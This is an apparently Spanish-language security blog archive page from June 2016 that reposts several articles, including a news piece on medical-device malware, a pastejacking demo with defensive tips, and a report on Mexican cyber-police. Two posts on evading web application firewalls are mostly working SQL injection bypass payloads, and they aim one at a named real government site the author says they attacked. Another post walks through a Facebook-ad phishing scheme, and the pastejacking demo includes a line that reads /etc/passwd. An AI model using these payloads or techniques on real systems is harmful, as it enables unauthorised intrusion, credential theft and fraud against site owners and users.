Month: June 2016

¿CÓMO HACKEAR FÁCILMENTE FIREWALL DE APLICACIÓN WEB (WAF)? PARTE 2

Posted on

En un artículo anterior hemos cubierto algunas técnicas de hackeo de firewalls de aplicación web. En este artículo vamos a cubrir el resto de las técnicas con ayuda de expertos de pruebas de penetración.

DOBLE CODIFICACIÓN PARA HACKEAR UN FIREWALL DE APLICACIONES WEB

Como hemos comentado antes, hay muchas aplicaciones que juegan un papel para pasar su solicitud desde tu navegador a la base de datos. Este truco se basa en explotar este comportamiento cuando nuestra solicitud se decodifica dos veces antes de que llegue a la base de datos. Como sabemos que el servidor web hace la descodificación básica de URL, ya que pasa los parámetros de solicitud a la aplicación web. Pero ¿qué si el desarrollador nuevamente hizo la decodificación? Bueno, sí hay muchas ocasiones en que el desarrollador decodifica la solicitud antes de usarla. De aquí surge una vulnerabilidad. A veces podemos utilizar este comportamiento para hackear un firewall acuerdo a expertos de seguridad perimetral.

HACKEAR LOS FILTROS QUE DISTINGUEN MAYÚSCULAS Y MINÚSCULAS

Como comentaron los investigadores de soluciones de seguridad de la informaciónanteriormente sobre el conjunto de reglas definidas por el firewall de aplicaciones web, si usted sabe algunos conceptos básicos de Regex entonces no hay necesidad de decir que la diferencia entre ellos:

/union.*select/
and
/union.*select/i

Bueno, si usted no sabe, entonces deja que te expliquemos. El primero de ellos distingue mayúsculas de minúsculas y el segundo no, mientras haces que Regex maneje este error que puede pasar a veces. Esto da origen a este tipo de ataques según curso de pruebas de penetración.

CONTAMINACIÓN DE PARÁMETROS/ HTTP PARAMETER POLLUTION HTTP

Puede ser que muchos de ustedes han oído hablar de él, pero estoy seguro de que pocos lo hubieran utilizado alguna vez. En primer lugar que es HPP, Definición en OWASP – El suministro de múltiples parámetros HTTP con el mismo nombre podrían resultar que una aplicación interprete los valores de manera imprevista. Consultores de soluciones de seguridad de la información comentan que mediante la explotación de estos efectos, un atacante puede ser capaz de pasar por alto la validación de entrada, provocar errores de aplicación o modificar los valores de variables internas. Como HTTP Parameter Pollution (HPP) afecta a un componente básico de todas las tecnologías web y existen ataques contra seguridad perimetral.

Los ataques HPP consisten en inyectar delimitadores de texto en una consulta codificada en otros parámetros existentes. Si soluciones de seguridad de la información no limpian adecuadamente el ingreso del usuario, un usuario malicioso puede comprometer la lógica de la aplicación para realizar ataques, ya sea del lado del cliente o del lado del servidor. Una de las consecuencias de los ataques de HPP es que el atacante potencialmente pueden ignorar los parámetros HTTP no modificables existentes para modificar el comportamiento de seguridad perimetral, los controles de validación de entrada de derivación, y el acceso y posiblemente explotar las variables que pueden estar fuera del alcance directo.

Los ataques HPP se puede definir como la posibilidad de anular o añadir parámetros HTTP GET / POST mediante la inyección de delimitadores texto en una solicitud. Acuerdo a experto depruebas de penetración, esto afecta a base de todas las tecnologías web existentes tanto, los ataques del lado del servidor y del lado del cliente.

Explotando las vulnerabilidades de HPP es posible:

  • Invalidar parámetros HTTP fijos existentes.
  • Modificar los comportamientos de las aplicaciones.
  • Acceso y, potencialmente explotar, variables incontrolables.
  • Omitir la validación de la entrada, puestos de control y reglas de la WAF.

Aquí es una tabla que muestra el comportamiento por defecto de estas aplicaciones con HPP.

hack WAF

HTTP PARÁMETRO FRAGMENTACIÓN/ HTTP PARAMETER FRAGMENTATION (HPF)

La idea de utilizar HTTP Parameter Fragmentation (HPF) cuando se llama a una aplicación web con el fin de hackear los filtros de seguridad no es una nueva. De acuerdo con curso de pruebas de penetración, este método le permite a uno para omitir con éxito filtros utilizados en la mayoría de los firewalls de aplicaciones web modernas. Así que, ¿cuál es la esencia de esta técnica? Consideremos ejemplos de la explotación de inyección SQL.

A menudo es necesario tener dos o más parámetros de usuario en un código SQL, por ejemplo:

<br />Query(“select * from table where a=”.$_REQUEST [‘a’].” and b>”.$_REQUEST [‘b’]);<br />Query(“select * from table where a=”.$_REQUEST [‘a’].” and b<“.$_REQUEST [‘b’].” limit “.$_REQUEST[‘c’]);<br />etc.<br />

En la fase de verificación de los valores de los parámetros recibidos del usuario en el nivel de aplicación web, la aplicación es capaz de operar con solo variables del servidor web y WAF es capaz de operar directamente con los datos de HTTP. Sin embargo, independientemente del método de acceso a los datos, se trata de utilizar ciertas expresiones regulares (regexps) para cada parámetro por separado.

<br />preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘c’])br />…br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘c’])br />…br />

Por lo tanto, si uno se divide la lógica del código SQL entre varios parámetros que entren en el código SQL y luego concatena estas piezas utilizando los comentarios, será posible hackear los filtros de soluciones de seguridad de la información:

/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users

<br />Query(“select * from table where a=1 union/* and b>*/select 1,2”);<br />Query(“select * from table where a=1 union/* and b<*/select 1,pass/* limit */from users”);<br />

Dado que los comentarios se ignoran, el código de hecho es:
select * from table where a=1 union select 1,2
select * from table where a=1 union select 1,pass from users

Uno puede notar que teniendo en cuenta la vía de ataque, HPF es muy similar a la HPP (HTTP Parameter pollution), pero a diferencia de este último, la aplicación HPP tiene por objeto la explotación de la vulnerabilidad en seguridad perimetral, no en el entorno de la aplicación. Según empresa de pruebas de penetración, por supuesto, ambos métodos de ataque pueden complementar entre sí.

 

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , , , , .

New exploits target hospital devices, places patients at risk

Posted on

‘Medjack 2’ describes the latest weapons in the hacker arsenal used to hijack medical devices.

 medical-device-hijack-cyberattack.jpg

It is not just the enterprise, banks and individuals that are targeted by cybercriminals looking to cash in on data and rinse bank accounts.

Things have taken a more sinister turn with the introduction — and evolution — of attacks specifically designed to compromise medical devices, which places both patient health and information at serious risk.

A new report released by security firm TrapX on Monday highlights how this trend is becoming more and more serious, and healthcare organizations must sit up and take note of these emerging threats before it is too late.

We’ve already seen ransomware attacks levied against hospitals this year which have successfully disrupted critical services and taken down full systems, with some hospitals giving in and paying a ransom to resume operating.

This kind of malware, although often heartbreaking for victims and capable of immense disruption, is not in the same ballpark as other attacks which are striking hospitals for the purpose of tampering with devices and data.

The report, “Anatomy of an Attack – Medical Device Hijack 2” (.PDF), is based on medical hijack attacks detected between late 2015 and early 2016, expanding on TrapX’s original MedJack 1 research.

The team found that attacks which target medical devices deployed in hospital PC systems and networks are on the rise and often contain backdoors, botnet connections and remote access tunnels for cyberattackers to manipulate devices.

Greg Enriquez, CEO of TrapX Security commented:

“Sophisticated attackers are going after healthcare institutions, and they are highly motivated to gain access to valuable patient records that can net them high dollars on the black market […] MedJack 1 was not an anomaly but rather highlighted the beginnings of a growing trend, a trend that’s become prevalent as attackers leverage sophisticated attack techniques to steal sensitive patient data while remaining undetected.”

Some of the report highlights include:

  • Attackers were found to repackage and disguise advanced tools within old, Windows-based worms which were ignored by security software as outdated, harmless malware — but would then seek out old PC systems to compromise.
  • Old malware variants were commonly used to attack medical devices as many of them have no security protection whatsoever, and there is no need to use sophisticated, expensive software once a network has been infiltrated;
  • Backdoors were often installed afterwards, allowing for spying, data theft and providing an avenue to deploy malware payloads including ransomware;
  • X-ray machines, radiation systems, fluoroscopy radiology systems and linac gating devices were all found to be constant targets for attackers.

By compromising medical systems, attackers could not only potentially tamper with live-saving devices — such as altering dosage rates or turning systems off and on — but they can also use vulnerabilities to steal valuable medical and patient data over time.

Medical device hijacking is only one threat element hospitals face today. Healthcare organizations have been forced to take cybersecurity more seriously since the recent spate of ransomware-based attacks at a number of hospitals this year, but to combat the more complex problem of medical device hijacking, solutions need to come from the top.

Hospital budgets and board decisions have to come into play if healthcare organizations are going to be able to keep patients safe from these threats in the future. It may not seem likely that such a malicious attack would occur against a patient using a critical medical device, but in today’s world, anything is possible.

“Healthcare organizations need to implement strategies that review and remediate existing medical devices, better manage medical device end-of-life and carefully limit access to medical devices,” noted Moshe Ben Simon, TrapX Security co-founder and vice president. “It becomes essential to leverage technology and processes that can detect threats from within hospital networks.”

 Source:http://www.zdnet.com/

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged .

¿CÓMO HACKEAR FÁCILMENTE FIREWALL DE APLICACIÓN WEB (WAF)?

Posted on

Firewall de aplicaciones web se implementa típicamente en algún tipo de proxy justo en frente de las aplicaciones web, por lo que no se ve todo el tráfico en nuestras redes. Al monitorear el tráfico antes de que llegue a la aplicación web, firewall de aplicaciones web puede analizar las solicitudes antes de pasarlas. Esto es lo que les da una ventaja sobre el IPSS. Debido a que IPSS está diseñado para interrogar a todo el tráfico de la red, no pueden analizar la capa de aplicación tan a fondo como firewall de aplicaciones web según expertos de pruebas de penetración.

Aquí hay un ejemplo de MOD security WAF

URL normal

http://bpc.gov.bd/contactus.php?id=4

Detectado por MOD Security

http://bpc.gov.bd/contactus.php?id=4′ UNION SELECT 1,2,3– –

Sin detección:
http://bpc.gov.bd/contactus.php?id=.4’/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7– –

Ahora, antes de continuar nos gustaría compartir un hecho muy interesante sobre este sitio, este sitio es vulnerable desde hace mucho tiempo según diferentes expertos de seguridad perimetral. La última vez los hackers lo atacaron y se tomar el control del sitio. Esta vez, cuando comenzamos a atacar hemos encontrado que algo ha cambiado. El único cambio que hizo, es que ahora están utilizando dos soluciones de seguridad de la información. Es como si el administrador no quiere perder el tiempo en cambiar el código de la aplicación y eliminar la vulnerabilidad. Recuerde que firewall de aplicaciones web es una buena seguridad perimetral, pero no se puede simplemente dejar la aplicación vulnerable sin hacer pruebas de penetración y completamente depender de firewall de aplicaciones web para la seguridad.

DETECTAR EL FIREWALL DE APLICACIONES WEB

Según investigadores de soluciones de seguridad de la información, hay muchas herramientas y secuencias de comandos que pueden detectar la presencia de huellas de WAF sobre una aplicación, que incluya pero no se limite

  • NMAP
  • WAFw00f
  • Verificación de los encabezados de respuestas
  • Verificación de la respuesta
  • etc.

DETECTANDO FIREWALL DE LA APLICACIÓN WEB USANDO NMAP

nmap -p80 –script http-Web Application Firewall-detect <host>

FINGERPRINTING WAF USANDO NMAP

nmap -p80 –script http-WAF-fingerprint <host>

FINGERPRINTING WAF USANDO WAFW00F

WAFw00f.py <url> 

Una vez que conoces el firewall de aplicaciones web con el que estas tratando, puedes buscar formas de hackear seguridad perimetral.

TÉCNICAS UTILIZADAS PARA HACKEAR SEGURIDAD PERIMETRAL

Con ayuda de expertos de pruebas de penetración, vamos a aprender varias técnicas de hackear un firewall de aplicaciones web y una vez que hayamos terminado, vamos a acoplarlos y mezclarlos las técnicas entre sí para cortafuegos avanzados de aplicaciones web.

DIFERENTES TIPOS DE CODIFICACIÓN

Hay muchos tipos de codificación, algunos de ellos son respaldaos por el servidor de aplicaciones, algunos de ellos cuentan con el apoyo por la aplicación web y algunos otros son soportados por el servidor de base de datos. Cuando enviamos una solicitud esta pasa por muchas capas y diferentes tipos de aplicaciones antes de nuestra solicitud llegas a la base de datos, por lo que muchas veces somos capaces de utilizar diferentes tipos de codificaciones y doble codificación que no son compatibles con el servidor de base de datos, pero las otras aplicaciones en medio, pueden decodificar nuestra solicitud y pasarla al servidor de base de datos. Según expertos de pruebas de penetración, a veces tomar ventaja de este tipo de comportamiento nos ayuda a hackear un firewall de aplicaciones web.

Vamos a dar un ejemplo básico, hay un buen servidor de seguridad implementado en una aplicación. La aplicación ha obtenido una solicitud de parámetros que primero se codifican como Base64 y luego Rot13. Cuando se inyecta dicha solicitud nuestra solicitud será codificada y pasa firewall de aplicaciones web, la próxima cuando se llega a la aplicación se decodifica y luego se envía al servidor de base de datos. Aquí pasamos el firewall de aplicaciones web, ya que nuestra solicitud fue codificada y decodificada antes de que pasará a la base de datos.

De esta manera, hay muchos tipos diferentes de codificaciones que podemos utilizar para hackear un firewall de aplicaciones web por ejemplo, URL Encoding, Hexing, Binary, Unicode, etc. En primer lugar vamos a empezar con hackeo de las reglas de condición de pruebas que muchos firewalls de aplicaciones web están bloqueados estos días como:
Las verdaderos condiciones de bloqueos

1 or 1=1
1′ or ”=’
1″ or “”=”
1′ or true#
1″ or true#
1 or true#
etc.

Ahora vamos a mezclar un poco de sentido común y codificaciones para hackear este tipo de filtros:

or ‘1
|| ‘1
null’ || ‘a’=_binary’a
1′ || ‘a’=x’61
1′ && ‘0’=x’30
1′ %26%26 %270%27%3dx’30
2′ && 0.e1=_binary”0
1 or 1.e1=0b1010
‘ || 1 like 1
‘-‘
“-“
‘ || 2 not like 1
110 or x’30’=48
‘1’!=20
1 or 20!=’1′
2 and 2>0
3 || 0<1
12 || 0b1010<0b1011
0b11 || 0b1010x’30’
1 or 0b1
2121/**/||21
111′ or _binary’1
1 or 2121
1′ or 12 rlike ‘1

Según consultores de soluciones de seguridad de la información, usando las técnicas anteriores y mezclándolas hasta que puede generar miles de diferente payloads y técnicas. Aquí hemos utilizado la codificación Binary, Hex, así como algunas palabras clave para hackear. En realidad firewall de aplicación web detecta cualquier cosa maliciosa utilizando el conjunto de reglas definidas. Por lo que necesitamos generar algo diferente para confundirlos.

Si no entendieron anteriormente las técnicas aquí hay una explicación básica del uso de Binary, Hex, Like y Rlike en SQL
Binary
Select 1 from dual where 0b1010=10
Hex Type 1
Select 1 from dual where ‘0’=x’30’
Hex Type 2
Select 1 from dual where 0x30=’0′
Like statement
Select 1 from dual where 1 like 1
Rlike Statement
Select 1 from dual where 12 rlike 1
|| (OR)
Select 1 from dual where 1||1
&& (And)
Select 1 from dual where 1&&1

Como sabemos SQL no soporta la codificación URL, pero el servidor y aplicaciones web sí soportan. Así también podemos utilizar la codificación de URL para hackear firewall de aplicaciones web menciona experto de soluciones de seguridad de la información. Lo primero es entender cómo funciona. Algunas veces cuando un firewall basado en la red esta implementado o firewall de aplicaciones esto podría suceder que el firewall de aplicaciones web no está decodificando nuestra solicitud mientras que está comprando con el conjunto de reglas. Cuando nuestra solicitud llega al servidor o la aplicación, entonces se descodifica, y luego se pasa al servidor de base de datos. De esta manera la codificación de URL también nos ayuda a hackear firewall de aplicaciones web muchas veces.

Los siguientes son algunos ejemplos de URL codificada para hackear WAF:

%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

Usted no está obligado a utilizar la codificación URL sólo con unión select también se puedes codificar otras palabras clave u operadores.

Veamos algunos otros usos de codificaciones, aquí se asume un firewall de aplicaciones web se ha bloqueado o filtrada uso de ‘0x’ para filtrar uso de hex en tu inyección y comillas simples o dobles no están permitidos. Incluso a veces los firewalls de aplicaciones web usan para descodificar Hex de solicitudes y comprobar si hay contenido malicioso. Podemos tratar las siguientes formas de superar la situación.

Normal Hex (Blocked)
select 0x313131
Hexed Bypass Version
select x’313131′;
Binary Bypass
select 0b011110100110010101101110;
Bypass using functions
select unhex(x’333133313331′);
 

Y así podemos seguir adelante para hackear el firewall de aplicaciones web de muchas otras maneras. Ahora esto todo es la codificación básica y su papel en hackear el firewall de aplicaciones web. Según experto sde pruebas de penetración, algunas veces también puede utilizar la codificación UTF-8 URL para hackear firewall de aplicaciones web, lo cual también se puede aprender en el curso de seguridad perimetral.

En siguiente artículo vamos a cubrir más sobre seguridad de aplicaciones web y como hackear firewall de aplicaciones web con ayuda de expertos de soluciones de seguridad de la información.

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , , , , .

ASÍ SE HACKEA USUARIOS DE FACEBOOK EXPLOTANDO SISTEMA DE PUBLICIDAD DE FACEBOOK ADS ?

Posted on Updated on

facebook ads hack

En este artículo vamos a mostrar cómo podemos hacer un ataque cibernético sobre cuentas de Facebook con ayuda de profesores . Explotando una vulnerabilidad en sistema de anuncios de Facebook podemos hacer ataque de phishing acuerdo a profesor de curso de seguridad web. La tasa de conversión de un ataque de phishing es muy alta. Y tú puedes hackear fácilmente llegar objetivo. En este artículo vamos a mostrar cómo hacer este tipo de ataque. Nosotros utilizaremos los anuncios locales y victimas locales. Usaremos nuestro código postal, edad, y lo configuraremos por lo que los anuncios sólo se presentarían a la gente conectada la página de Facebook.

Vamos a preparar y ejecutar un anuncio en Facebook, y la URL de destino es espn.l1dh.com ohttp://goo.gl/UssPDm y nosotros fijamos la URL visible a http://www.cnn.com o ctvnews.ca.

anunciofacebook

El dominio de anuncio se ve como http://www.cnn.com o ctvnews.ca que es una organización de noticias de buena reputación. Por lo tanto muy poca gente va a dudar antes de hacer clic en el anuncio.

anunciofacebook

anunciofacebook

Por lo tanto notarás que esto se parece muchísimo a ESPN, no como a CTV/CNN News en absoluto. Desplazándose al final de la página vemos los anuncios inevitables para los suplementos.

anuncios facebook hack

La página web se ve como ESPN y el jugador está avalando este suplemento. En la parte inferior de la página se puede ver la “evidencia social” de la gente que recomienda el producto. Esto le dará a la gente más confianza para permanecer en la página menciona el profesor de curso de seguridad web.

Vamos a hacer una rápida búsqueda en imagen inversa para ver si se trata de personas reales. Charles Barrott es el objetivo de nuestra búsqueda, en este caso:

anuncios facebook hack

Esto invertirá búsqueda en Google de esa imagen exacta. Aquí están los resultados y foto parece de Sam Muirhead, un director de cine. Entonces hemos creado cuentas falsas para recomendar la página.

anuncios facebook hack

Esto muestra claramente que los hackers han descubierto la manera de jugar con el sistema de Facebook con el fin de publicar anuncios que parecen que llevan un solo lugar (ctvnews.ca) y en última instancia conducir a un lugar muy diferente. No sólo eso, sino que se utilizan repetidamente los nombres comerciales, los términos y la información falsa para vender el producto. Según los expertos de curso de seguridad web, esto viola una serie de políticas de publicidad de Facebook. También se puede poner un malware de ransomware o una página de spear phishing.

¿CÓMO HACER UN ANÁLISIS DE ESTE TIPO DE ATAQUE?

Copiar la URL del anuncio. En lugar de hacer clic en el enlace, haga clic derecho y copiar en un editor de texto.

anuncios facebook hack

Es un gran URL desordenado, y si ves todos esos pequeños% ‘s esto le está diciendo que la URL está codificado. Según los expertos de curso de seguridad web, usted puede encontrar fácilmente un URL decoder en línea que puedes usar para saber URL real y veras lo siguiente:

https://www.facebook.com/a.php?u=http://goo.gl/UssPDm&

El primer parte es el controlador de publicidad de Facebook, y la parte en negrita es la dirección URL de destino donde una víctima llegara después de hacer clic. Nosotros hemos cortado la carácter “&” de manera que sólo tenemos URL acortada de Google. Esto nos lleva a la siguiente parte de nuestra investigación.

ANALIZANDO URL’S ACORTADA DE GOOGLE

Acortador de URL de Google funciona como cualquier otro servicio de acortamiento como bit.ly. Usted entra su URL y te devuelve un pequeño URL. Lo bueno del acortador de URL de Google es que proporciona analíticos para usted de modo que usted puede ver cómo se accediendo a un URL acortado y cuántas veces.

ENTONCES, ¿CÓMO ENCONTRAR ESTOS ANALÍTICOS MARAVILLOSOS?

Sólo tiene que añadir .info hasta el final de URL acortada y se te llevará a una página que tiene los datos:

https://goo.gl/UssPDm.info

anuncios facebook hack

Por lo tanto podemos ver que había 26, 812 clics a través de esta URL y si se pasa sobre el gráfico de anillos veremos que existían confirmados 11.246 de ellos llegaron de Facebook. Esa es una gran cantidad de clics. Los clics “Desconocido” podrían ser un caso de navegadores que no pasan a la información de cabecera HTTP . Lo que podemos ver en el gráfico de la actividad es que la campaña sólo se postuló para un período relativamente corto de tiempo antes de detenerse. En defensa de Facebook, esto puede significar que detectaron este fraude o alguien reporto el anuncio. También podría significar que el estafador hizo suficiente dinero y decidió parar la campaña y hackear los usuarios suficientes.

También vemos que la URL de destino (que ahora está muerto) es:

http://dftrack6.com/?i0g51dkl&s1=sc_hgould_ca_ll

Entonces no tenemos pruebas suficientes para demostrar que tenemos una página de destino fraudulenta, pero si usted busca sobre el dominio dftrack6.com, verá rápidamente que parece sospechoso.

El punto principal aquí ha sido sin embargo demostrado: los hackers pueden crear anuncios que parecen apuntar a sitios legítimos, y luego podrían llevar miles de clics a sus páginas de destino y ejecutar código malicioso menciona el profesor del curso de seguridad web.

Fuente:http://noticiasseguridad.com/importantes/asi-se-hackea-usuarios-de-facebook-explotando-sistema-de-publicidad-de-facebook-ads/

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged .

¿CÓMO HACER UN ATAQUE PASTEJACKING Y TOMAR EL CONTROL DE LA MÁQUINA DE VÍCTIMA?

Posted on

pastejacking

Ha sido posible por un largo tiempo para que los desarrolladores usar CSS para añadir contenido malicioso en el portapapeles sin conocimiento del usuario y por lo tanto engañarlos para que ejecute comandos de terminales no deseados. Este tipo de ataque se conoce como clipboard hijacking. Un investigador de seguridad de página web, publicó una nueva versión de este ataque, que sólo utiliza JavaScript como medio de ataque, no CSS. JavaScript hace que este ataque más difícil de detectar y más difícil de detener.

JavaScript es mucho más potente y versátil en comparación con CSS, y se nota inmediatamente explica profesor de curso de seguridad informática. Mientras que en el CSS exploit el usuario tenía que copiar y pegar todo el texto malicioso, con JavaScript cosas son mucho más complicadas.

Los usuarios ni siquiera tienen que seleccionar todo el texto malicioso. Un carácter es suficiente. En teoría, un atacante podría añadir su código malicioso Pastejacking JavaScript para toda la página, y cuando tú pegas cualquier cosa dentro de la consola, ellos podrían ejecutar comandos a escondidas a tus espaldas explica profesor de curso de seguridad informática. El atacante puede ejecutar su código malicioso, limpiar la consola, y luego añadir el código del usuario copiado, haciéndoles creer que no pasó nada.

Según investigador de seguridad de página web, el ataque puede ser mortal si se combina con las páginas de soporte técnico o correos electrónicos de phishing. Los usuarios pueden pensar que están copiando el texto inocente en su consola, pero de hecho, se están ejecutando código malicioso. Debido a que los comandos de terminal se ejecutan automáticamente, el usuario ni siquiera tiene presionar la tecla Enter para ejecutar el código malicioso, CTRL + V es suficiente.

Por ejemplo, alguien en busca de consejos sobre los comandos de cmd.exe podría copiar y pegar el código que encontró en línea en los artículos de tutoriales, pero la persona maliciosa detrás de ese sitio en particular se podría anexar decenas de líneas de código malicioso que se descargan malwares desde una fuente y se instalan en línea en su ordenador. Todo esto puede suceder en silencio, sin que el usuario se percate de nada.

Acuerdo con el ternario del curso de seguridad informática ataques similares han sido posibles a través de HTML / CSS. Lo que es diferente al respecto es que el texto puede ser copiado después de un evento, se puede copiar en un contador de tiempo corto después de un evento, y es más fácil de copiar en caracteres hexadecimales en el portapapeles, cual puede ser utilizado para explotar VIM, como se mostrara a continuación.

DEMOSTRACIÓN

He aquí una demostración de un sitio web que atrae a un usuario para copiar un comando de aspecto inocente. El sitio es de demostración credo por investigador de seguridad de página web.

https://security.love/Pastejacking

Si un usuario intenta copiar el texto con atajos de teclado, es decir, Ctrl + C o command+C, un temporizador de 800 ms se establece que sustituye directamente el valor del portapapeles del usuario con código malicioso.

echo “not evil” Se reemplazará con echo “evil”\n

Tenga en cuenta el carácter de nueva línea se añade al final de la línea. Cuando un usuario va a pegar el comando de eco en su terminal, “evil” se aparecera  automáticamente en la pantalla sin dar al usuario la oportunidad de revisar el comando antes de ejecutar. Payloads más sofisticadas que se esconden también se pueden utilizar.

touch ~/.evilclearecho “not evil”

Este comando creará un archivo “evil” en su directorio personal y limpiara  la terminal de salida. La víctima parece tener el comando que pretendía copiar en el terminal.

IMPACTO

Este método se puede combinar con un ataque de phishing para atraer a los usuarios a ejecutar comandos aparentemente inocentes explica investigador de seguridad de página web. El código malicioso se anulará el código inocente, y el atacante puede obtener la ejecución remota de código en la máquina del usuario si el usuario pega el contenido en el terminal.

¿CÓMO PROTEGERTE A TI MISMO?

Esto no es tan sencillo. Una solución recomendada por curso de seguridad informática es, verificar el contenido del portapapeles antes de pegarlo en una terminal, pero tenga cuidado de donde se verifican estos comandos. Por ejemplo si se pegan en vim, macros vim se puede utilizar de aprovecharte. Un ejemplo de esto se puede ver en esta demostración más abajo.

copyTextToClipboard(‘echo “evil”\n \x1b:!cat /etc/passwd\n’);

Una solución en todo esto puede observarse a continuación

Dentro de vim para pegar portapapeles sin interpretar como un comando vim

Si está ejecutando iTerm, estaría advertido si el comando termina con un salto de línea como se ve aquí:

pastejacking

Por supuesto, no hace falta decir, tomar nota de la fuente que se está pegando a partir, y tener precaución adicional si se va a pegar de fuentes cuestionables.

 

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , , , .

Sin anzuelo. Policía cibernética no puede cazar bajacalzones

Posted on

En la CDMX hay más de 3 mil denuncias por ciberdelitos como acoso y pornografía, pero las autoridades no tienen la facultad para cerrar sitios que suben materiales, como lo comprobó un colaborador de EL UNIVERSAL al iniciar una denuncia.
shark2-02_32509813

La Policía de Ciberdelincuencia Preventiva de la Ciudad de México, creada para vigilar y castigar los delitos cometidos en la red, no tiene la capacidad de cerrar sitios en internet que contengan videos tomados por debajo de las faldas de mujeres en lugares públicos sin su consentimiento, o que registren el momento en el que se les agrede al bajar su ropa interior al ir caminando por la calle, como sucedió con la periodista Andrea Noel en marzo pasado.

Esta es la respuesta que da a EL UNIVERSAL la institución que depende de la Secretaría de Seguridad Pública capitalina, en seguimiento a la nota publicada por este diario el pasado 30 de mayo, advirtiendo sobre la proliferación de clubes bajacalzones en la CDMX.

Francisco González, encargado de la Unidad de Denuncias de la Policía Cibernética de la CDMX, dice a este diario que la dependencia está imposibilitada para actuar contra sitios que contengan sharking (ataque tiburón: bajar la ropa interior de las mujeres) o upskirt (grabar por debajo de sus faldas sin su consentimiento).

“Lo que hacemos es que, luego de recibir material y recopilar denuncias, les enviamos un correo (si aparece en el sitio web) con la información que juntamos para recomendarles que eliminen dicho material”, dice González.

Explica que además debe existir un número vasto de denuncias para que proceda la recomendación, y que en caso de ser testigo de uno de estos abusos, se acuda a un Ministerio Público a presentar una denuncia.

“Necesitamos que sean varias denuncias para que tengan peso y se pueda hacer algo. Como tal, nosotros no podemos cerrar un sitio, pero sí hacer la recomendación. Además, este sitio tiene que tener antecedentes”, dijo.

Según datos de la propia dependencia, hasta este año se han recibido más de 3 mil denuncias, en su mayoría por acoso, fraudes, pornografía infantil, robo de información, venta de armas, drogas y animales exóticos. Sin embargo, ni una sola por sitios voyeur.

Octavio Campos Ortiz, ex titular de Comunicación Social de la Secretaría de Seguridad Pública de la CDMX, confirmó a EL UNIVERSAL que “no existen denuncias por este tema específico [sharking]”.

Como se publicó el 30 de mayo, los clubes bajacalzones, es decir, de personas que se dedican a abusar de mujeres en las calles para levantar sus faldas y bajar sus calzoncillos para luego subir el video a sitios pornográficos en internet, están al alza.

Una de las víctimas más notorias es la periodista estadounidense Andrea Noel, quien en entrevista confirmó la posibilidad de que el video de su ataque circule en sitios pornográficos.

En foros públicos como VoyeurAzteca se comparten fotografías y videos tomados por debajo de la falda de niñas y mujeres usuarias del Metro de la Ciudad de México, en vestidores, baños y avenidas, sin su consentimiento.

Quien escribe este reportaje intentó levantar una denuncia en contra de este sitio web y de otros que fueron detectados con cientos de materiales de este tipo.

La denuncia: ¿misión imposible?

El gobierno mexicano creó una unidad especializada en delitos cibernéticos en octubre de 2015, pero sólo sirve como “orientación”, según declaraciones de funcionarios de dicha dependencia luego de dos llamadas de este diario para levantar una denuncia.

La querella se inicia con una llamada al número (55) 5242-5068, perteneciente a la Policía Cibernética de la Ciudad de México. Se pidió levantar una denuncia contra el sitio denominado voyeurazteca.com por contenido ilegal, como grabaciones sin consentimiento de mujeres por debajo de sus faldas, además de contenidos de pornografía infantil, ambos delitos penados por la ley.

En el primer intento, el funcionario pide nombre, domicilio, edad y correo electrónico del denunciante. Luego un relato sobre la denuncia, y al final solicita enviar un mail con “la evidencia” recopilada a la direcciónpolicia.cibernetica@ssp.df.gob.mx.

Durante la segunda llamada se solicitan de igual manera los datos personales, un relato, y al final que el denunciante acuda a la oficina del Ministerio Público más próxima “con todas las evidencias” para levantar la denuncia.

“Nosotros sólo lo orientamos, no tomamos denuncias. Acuda al MP llevando toda la evidencia de esto que me está diciendo y el MP le pedirá a la Policía Cibernética que dé seguimiento”, explica el funcionario.

La denuncia en el MP se puede iniciar en línea con una solicitud de cita. Entonces me envían un correo con los requisitos y la fecha de la cita en las oficinas de la colonia Escandón. Al presentar las pruebas, que consistían en pantallazos del sitio, me enviaron al correo el folio de denuncia. El funcionario de la oficina explica que “hay una probabilidad muy amplia” de que mi denuncia “no llegue a nada”, pues se requiere de varias quejas que sustenten el delito.

“Si usted tiene más testigos, o puede traer a dos o tres personas más a que denuncien este sitio, nosotros lo pasamos a la Policía Cibernética para que procedan”, dice el agente del MP.

Pero al consultar nuevamente al encargado de la Policía Cibernética, regresamos al inicio: la dependencia no tiene poder para cerrar el sitio, sino para hacerle una recomendación.

“Lamentablemente es una zona gris, aún no hay fundamentos suficientes, pero se encuentra al responsable, al administrador de la página, y se le exhorta a eliminar ese contenido o el sitio completo”, explica el funcionario.

La otra policía: redes sociales

Juan Carlos Solís, experto en ciberseguridad y redes, asegura que en México la legislación respecto a lo que sucede en la red está atrasada. “No existe, por ejemplo, el derecho de eliminación como en Europa, donde tú tienes el derecho de pedir a una compañía que elimine contenido sobre tu persona que no hayas autorizado, y por ley lo tienen que hacer”, explica.

Solís considera que la única solución “por ahora” es la de apelar a la comunidad.

“Hay que interponer una denuncia porque es un paso muy importante, pero las compañías no son obligadas a eliminar contenido como upskirt o sharking. La opción por ahora es la de apelar a la comunidad a que comenten, a que denuncien en Facebook o Twitter, para que la página sea bloqueada o el contenido eliminado”, dice el experto.

